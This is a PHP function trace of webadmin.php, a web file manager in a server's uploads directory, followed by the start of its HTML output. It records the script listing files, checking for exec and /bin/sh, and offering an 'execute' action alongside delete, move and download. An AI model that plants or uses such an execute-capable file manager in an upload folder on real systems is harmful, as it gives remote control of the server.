4 389 0 0.019275 802280 function_exists 0 /var/www/html/uploads/webadmin.php 1317 1 'posix_getuid'
4 389 1 0.019288 802320
4 389 R TRUE
4 390 0 0.019301 802280 posix_getuid 0 /var/www/html/uploads/webadmin.php 1317 0
4 390 1 0.019314 802280
4 390 R 33
3 A /var/www/html/uploads/webadmin.php 1317 $l = FALSE
4 391 0 0.019338 802280 permission_octal2string 1 /var/www/html/uploads/webadmin.php 1319 1 33261
4 A /var/www/html/uploads/webadmin.php 966 $type = '-'
4 A /var/www/html/uploads/webadmin.php 979 $owner = 'r'
4 A /var/www/html/uploads/webadmin.php 980 $owner .= 'w'
4 A /var/www/html/uploads/webadmin.php 984 $owner .= 'x'
4 A /var/www/html/uploads/webadmin.php 987 $group = 'r'
4 A /var/www/html/uploads/webadmin.php 988 $group .= '-'
4 A /var/www/html/uploads/webadmin.php 992 $group .= 'x'
4 A /var/www/html/uploads/webadmin.php 995 $other = 'r'
4 A /var/www/html/uploads/webadmin.php 996 $other .= '-'
4 A /var/www/html/uploads/webadmin.php 1000 $other .= 'x'
4 391 1 0.019457 802320
4 391 R '-rwxr-xr-x'
4 392 0 0.019471 802320 html 1 /var/www/html/uploads/webadmin.php 1319 1 '-rwxr-xr-x'
5 393 0 0.019484 802320 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '-rwxr-xr-x' 2 NULL
5 393 1 0.019499 802592
5 393 R '-rwxr-xr-x'
4 392 1 0.019514 802480
4 392 R '-rwxr-xr-x'
4 394 0 0.019528 802280 array_key_exists 0 /var/www/html/uploads/webadmin.php 1324 2 'owner_name' ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 394 1 0.019558 802344
4 394 R TRUE
4 395 0 0.019572 802280 array_key_exists 0 /var/www/html/uploads/webadmin.php 1330 2 'group_name' ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 395 1 0.019600 802344
4 395 R TRUE
4 396 0 0.019615 802376 html 1 /var/www/html/uploads/webadmin.php 1339 1 '/var/www/html/uploads/prepend.php'
5 397 0 0.019628 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/prepend.php' 2 NULL
5 397 1 0.019644 802648
5 397 R '/var/www/html/uploads/prepend.php'
4 396 1 0.019659 802536
4 396 R '/var/www/html/uploads/prepend.php'
3 A /var/www/html/uploads/webadmin.php 1342 $actions = []
4 398 0 0.019685 801904 function_exists 0 /var/www/html/uploads/webadmin.php 1343 1 'symlink'
4 398 1 0.019699 801944
4 398 R TRUE
3 A /var/www/html/uploads/webadmin.php 1344 $actions[] = 'create_symlink'
4 399 0 0.019724 802280 dirname 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads/prepend.php'
4 399 1 0.019737 802376
4 399 R '/var/www/html/uploads'
4 400 0 0.019751 802344 is_writable 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads'
4 400 1 0.019769 802384
4 400 R TRUE
3 A /var/www/html/uploads/webadmin.php 1347 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1348 $actions[] = 'rename'
3 A /var/www/html/uploads/webadmin.php 1349 $actions[] = 'move'
3 A /var/www/html/uploads/webadmin.php 1352 $actions[] = 'copy'
3 A /var/www/html/uploads/webadmin.php 1353 $actions[] = 'download'
4 401 0 0.019834 802280 function_exists 0 /var/www/html/uploads/webadmin.php 1356 1 'exec'
4 401 1 0.019847 802320
4 401 R TRUE
4 402 0 0.019860 802280 file_exists 0 /var/www/html/uploads/webadmin.php 1356 1 '/bin/sh'
4 402 1 0.019878 802320
4 402 R TRUE
3 A /var/www/html/uploads/webadmin.php 1357 $actions[] = 'execute'
4 403 0 0.019901 802280 sizeof 0 /var/www/html/uploads/webadmin.php 1360 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download', 6 => 'execute']
4 403 1 0.019921 802312
4 403 R 7
4 404 0 0.019934 802376 str_repeat 0 /var/www/html/uploads/webadmin.php 1363 2 ' ' 30
4 404 1 0.019947 802664
4 404 R ' '
4 405 0 0.019963 802344 word 1 /var/www/html/uploads/webadmin.php 1367 1 'create_symlink'
5 406 0 0.019977 802344 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create symlink' 2 'UTF-8'
5 406 1 0.019993 802616
5 406 R 'create symlink'
4 405 1 0.020007 802504
4 405 R 'create symlink'
4 407 0 0.020022 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'delete'
5 408 0 0.020035 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 408 1 0.020049 802608
5 408 R 'delete'
4 407 1 0.020063 802496
4 407 R 'delete'
4 409 0 0.020081 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'rename'
5 410 0 0.020094 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'rename' 2 'UTF-8'
5 410 1 0.020108 802608
5 410 R 'rename'
4 409 1 0.020122 802496
4 409 R 'rename'
4 411 0 0.020135 802328 word 1 /var/www/html/uploads/webadmin.php 1367 1 'move'
5 412 0 0.020148 802328 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 412 1 0.020162 802600
5 412 R 'move'
4 411 1 0.020175 802488
4 411 R 'move'
4 413 0 0.020188 802328 word 1 /var/www/html/uploads/webadmin.php 1367 1 'copy'
5 414 0 0.020201 802328 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'copy' 2 'UTF-8'
5 414 1 0.020215 802600
5 414 R 'copy'
4 413 1 0.020228 802488
4 413 R 'copy'
4 415 0 0.020242 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'download'
5 416 0 0.020255 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'download' 2 'UTF-8'
5 416 1 0.020269 802608
5 416 R 'download'
4 415 1 0.020283 802496
4 415 R 'download'
4 417 0 0.020296 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'execute'
5 418 0 0.020309 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'execute' 2 'UTF-8'
5 418 1 0.020323 802608
5 418 R 'execute'
4 417 1 0.020337 802496
4 417 R 'execute'
3 A /var/www/html/uploads/webadmin.php 1249 $i++
4 419 0 0.020361 802280 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 419 1 0.020431 802312
4 419 R 6
3 A /var/www/html/uploads/webadmin.php 1250 $file = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 420 0 0.020472 802280 date 0 /var/www/html/uploads/webadmin.php 1252 2 'n/j/y H:i:s' 1676255997
4 420 1 0.020503 802608
4 420 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1252 $timestamps = 'mtime: 2/12/23 21:39:57, '
4 421 0 0.020530 802224 date 0 /var/www/html/uploads/webadmin.php 1253 2 'n/j/y H:i:s' 1676255997
4 421 1 0.020561 802552
4 421 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1253 $timestamps .= 'atime: 2/12/23 21:39:57, '
4 422 0 0.020587 802248 date 0 /var/www/html/uploads/webadmin.php 1254 2 'n/j/y H:i:s' 1676255997
4 422 1 0.020617 802576
4 422 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1254 $timestamps .= 'ctime: 2/12/23 21:39:57'
4 423 0 0.020644 802472 html 1 /var/www/html/uploads/webadmin.php 1258 1 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5 424 0 0.020658 802472 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57' 2 NULL
5 424 1 0.020675 802776
5 424 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 423 1 0.020691 802664
4 423 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 425 0 0.020707 802280 substr 0 /var/www/html/uploads/webadmin.php 1289 3 'webadmin.php' 0 1
4 425 1 0.020721 802376
4 425 R 'w'
4 426 0 0.020735 802360 urlencode 0 /var/www/html/uploads/webadmin.php 1296 1 '/var/www/html/uploads/webadmin.php'
4 426 1 0.020748 802472
4 426 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fwebadmin.php'
4 427 0 0.020765 802408 html 1 /var/www/html/uploads/webadmin.php 1296 1 'webadmin.php'
5 428 0 0.020778 802408 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'webadmin.php' 2 NULL
5 428 1 0.020792 802680
5 428 R 'webadmin.php'
4 427 1 0.020806 802568
4 427 R 'webadmin.php'
4 429 0 0.020820 802280 human_filesize 1 /var/www/html/uploads/webadmin.php 1304 1 74983
4 A /var/www/html/uploads/webadmin.php 1153 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/webadmin.php 1155 $n = 0
4 A /var/www/html/uploads/webadmin.php 1157 $filesize /= 1024
4 A /var/www/html/uploads/webadmin.php 1158 $n++
5 430 0 0.020879 802280 strpos 0 /var/www/html/uploads/webadmin.php 1161 2 73.2255859375 '.'
5 430 1 0.020894 802608
5 430 R 2
5 431 0 0.020908 802280 round 0 /var/www/html/uploads/webadmin.php 1161 2 73.2255859375 1
5 431 1 0.020922 802352
5 431 R 73.2
4 A /var/www/html/uploads/webadmin.php 1161 $filesize = 73.2
5 432 0 0.020946 802280 strpos 0 /var/www/html/uploads/webadmin.php 1163 2 73.2 '.'
5 432 1 0.020959 802608
5 432 R 2
5 433 0 0.020973 802280 substr 0 /var/www/html/uploads/webadmin.php 1164 3 73.2 -1 1
5 433 1 0.020987 802632
5 433 R '2'
5 434 0 0.021000 802280 in_array 0 /var/www/html/uploads/webadmin.php 1164 2 '2' [0 => '0', 1 => '.']
5 434 1 0.021016 802352
5 434 R FALSE
5 435 0 0.021029 802280 substr 0 /var/www/html/uploads/webadmin.php 1169 3 'kMGTPE' 0 1
5 435 1 0.021043 802376
5 435 R 'k'
4 A /var/www/html/uploads/webadmin.php 1169 $suffix = 'k'
4 429 1 0.021067 802312
4 429 R '73.2 kB'
3 A /var/www/html/uploads/webadmin.php 1304 $human = ' title="73.2 kB"'
4 436 0 0.021094 802328 decoct 0 /var/www/html/uploads/webadmin.php 1315 1 33204
4 436 1 0.021106 802400
4 436 R '100664'
4 437 0 0.021119 802328 function_exists 0 /var/www/html/uploads/webadmin.php 1317 1 'posix_getuid'
4 437 1 0.021133 802368
4 437 R TRUE
4 438 0 0.021145 802328 posix_getuid 0 /var/www/html/uploads/webadmin.php 1317 0
4 438 1 0.021158 802328
4 438 R 33
3 A /var/www/html/uploads/webadmin.php 1317 $l = FALSE
4 439 0 0.021180 802328 permission_octal2string 1 /var/www/html/uploads/webadmin.php 1319 1 33204
4 A /var/www/html/uploads/webadmin.php 966 $type = '-'
4 A /var/www/html/uploads/webadmin.php 979 $owner = 'r'
4 A /var/www/html/uploads/webadmin.php 980 $owner .= 'w'
4 A /var/www/html/uploads/webadmin.php 984 $owner .= '-'
4 A /var/www/html/uploads/webadmin.php 987 $group = 'r'
4 A /var/www/html/uploads/webadmin.php 988 $group .= 'w'
4 A /var/www/html/uploads/webadmin.php 992 $group .= '-'
4 A /var/www/html/uploads/webadmin.php 995 $other = 'r'
4 A /var/www/html/uploads/webadmin.php 996 $other .= '-'
4 A /var/www/html/uploads/webadmin.php 1000 $other .= '-'
4 439 1 0.021294 802368
4 439 R '-rw-rw-r--'
4 440 0 0.021308 802368 html 1 /var/www/html/uploads/webadmin.php 1319 1 '-rw-rw-r--'
5 441 0 0.021321 802368 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '-rw-rw-r--' 2 NULL
5 441 1 0.021336 802640
5 441 R '-rw-rw-r--'
4 440 1 0.021350 802528
4 440 R '-rw-rw-r--'
4 442 0 0.021363 802328 array_key_exists 0 /var/www/html/uploads/webadmin.php 1324 2 'owner_name' ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 442 1 0.021394 802392
4 442 R TRUE
4 443 0 0.021407 802328 array_key_exists 0 /var/www/html/uploads/webadmin.php 1330 2 'group_name' ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 443 1 0.021436 802392
4 443 R TRUE
4 444 0 0.021450 802424 html 1 /var/www/html/uploads/webadmin.php 1339 1 '/var/www/html/uploads/webadmin.php'
5 445 0 0.021463 802424 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/webadmin.php' 2 NULL
5 445 1 0.021478 802696
5 445 R '/var/www/html/uploads/webadmin.php'
4 444 1 0.021494 802584
4 444 R '/var/www/html/uploads/webadmin.php'
3 A /var/www/html/uploads/webadmin.php 1342 $actions = []
4 446 0 0.021520 801952 function_exists 0 /var/www/html/uploads/webadmin.php 1343 1 'symlink'
4 446 1 0.021533 801992
4 446 R TRUE
3 A /var/www/html/uploads/webadmin.php 1344 $actions[] = 'create_symlink'
4 447 0 0.021562 802328 dirname 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads/webadmin.php'
4 447 1 0.021575 802424
4 447 R '/var/www/html/uploads'
4 448 0 0.021590 802392 is_writable 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads'
4 448 1 0.021606 802432
4 448 R TRUE
3 A /var/www/html/uploads/webadmin.php 1347 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1348 $actions[] = 'rename'
3 A /var/www/html/uploads/webadmin.php 1349 $actions[] = 'move'
3 A /var/www/html/uploads/webadmin.php 1352 $actions[] = 'copy'
3 A /var/www/html/uploads/webadmin.php 1353 $actions[] = 'download'
4 449 0 0.021671 802328 function_exists 0 /var/www/html/uploads/webadmin.php 1356 1 'exec'
4 449 1 0.021684 802368
4 449 R TRUE
4 450 0 0.021697 802328 sizeof 0 /var/www/html/uploads/webadmin.php 1360 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4 450 1 0.021716 802360
4 450 R 6
4 451 0 0.021729 802424 str_repeat 0 /var/www/html/uploads/webadmin.php 1363 2 ' ' 30
4 451 1 0.021742 802712
4 451 R ' '
4 452 0 0.021758 802392 word 1 /var/www/html/uploads/webadmin.php 1367 1 'create_symlink'
5 453 0 0.021772 802392 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create symlink' 2 'UTF-8'
5 453 1 0.021787 802664
5 453 R 'create symlink'
4 452 1 0.021802 802552
4 452 R 'create symlink'
4 454 0 0.021817 802384 word 1 /var/www/html/uploads/webadmin.php 1367 1 'delete'
5 455 0 0.021830 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 455 1 0.021844 802656
5 455 R 'delete'
4 454 1 0.021857 802544
4 454 R 'delete'
4 456 0 0.021871 802384 word 1 /var/www/html/uploads/webadmin.php 1367 1 'rename'
5 457 0 0.021883 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'rename' 2 'UTF-8'
5 457 1 0.021897 802656
5 457 R 'rename'
4 456 1 0.021911 802544
4 456 R 'rename'
4 458 0 0.021924 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'move'
5 459 0 0.021937 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 459 1 0.021951 802648
5 459 R 'move'
4 458 1 0.021964 802536
4 458 R 'move'
4 460 0 0.021977 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'copy'
5 461 0 0.021990 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'copy' 2 'UTF-8'
5 461 1 0.022004 802648
5 461 R 'copy'
4 460 1 0.022017 802536
4 460 R 'copy'
4 462 0 0.022031 802384 word 1 /var/www/html/uploads/webadmin.php 1367 1 'download'
5 463 0 0.022044 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'download' 2 'UTF-8'
5 463 1 0.022058 802656
5 463 R 'download'
4 462 1 0.022072 802544
4 462 R 'download'
3 A /var/www/html/uploads/webadmin.php 1249 $i++
4 464 0 0.022096 802328 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 464 1 0.022167 802360
4 464 R 6
4 465 0 0.022181 802552 sizeof 0 /var/www/html/uploads/webadmin.php 1385 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 465 1 0.022253 802584
4 465 R 6
4 466 0 0.022266 802648 html 1 /var/www/html/uploads/webadmin.php 1387 1 '/var/www/html/uploads/'
5 467 0 0.022279 802648 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/' 2 NULL
5 467 1 0.022294 802920
5 467 R '/var/www/html/uploads/'
4 466 1 0.022313 802808
4 466 R '/var/www/html/uploads/'
3 A /var/www/html/uploads/webadmin.php 1390 $actions = []
4 468 0 0.022339 801952 dirname 0 /var/www/html/uploads/webadmin.php 1391 1 '/var/www/html/uploads/webadmin.php'
4 468 1 0.022353 802048
4 468 R '/var/www/html/uploads'
4 469 0 0.022367 802016 is_writable 0 /var/www/html/uploads/webadmin.php 1391 1 '/var/www/html/uploads'
4 469 1 0.022383 802056
4 469 R TRUE
3 A /var/www/html/uploads/webadmin.php 1392 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1393 $actions[] = 'move'
3 A /var/www/html/uploads/webadmin.php 1395 $actions[] = 'copy'
4 470 0 0.022429 802328 str_repeat 0 /var/www/html/uploads/webadmin.php 1398 2 ' ' 30
4 470 1 0.022442 802616
4 470 R ' '
4 471 0 0.022459 802384 word 1 /var/www/html/uploads/webadmin.php 1402 1 'delete'
5 472 0 0.022473 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 472 1 0.022487 802656
5 472 R 'delete'
4 471 1 0.022501 802544
4 471 R 'delete'
4 473 0 0.022515 802376 word 1 /var/www/html/uploads/webadmin.php 1402 1 'move'
5 474 0 0.022527 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 474 1 0.022556 802648
5 474 R 'move'
4 473 1 0.022570 802536
4 473 R 'move'
4 475 0 0.022584 802376 word 1 /var/www/html/uploads/webadmin.php 1402 1 'copy'
5 476 0 0.022597 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'copy' 2 'UTF-8'
5 476 1 0.022611 802648
5 476 R 'copy'
4 475 1 0.022625 802536
4 475 R 'copy'
3 203 1 0.022638 801792
3 477 0 0.022647 801792 html_footer 1 /var/www/html/uploads/webadmin.php 1225 0
3 477 1 0.022659 801792
2 50 1 0.022667 792456
1 3 1 0.022679 792456
0.022735 575472
TRACE END [2023-02-13 00:40:23.003827]
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=">
<title>webadmin.php</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
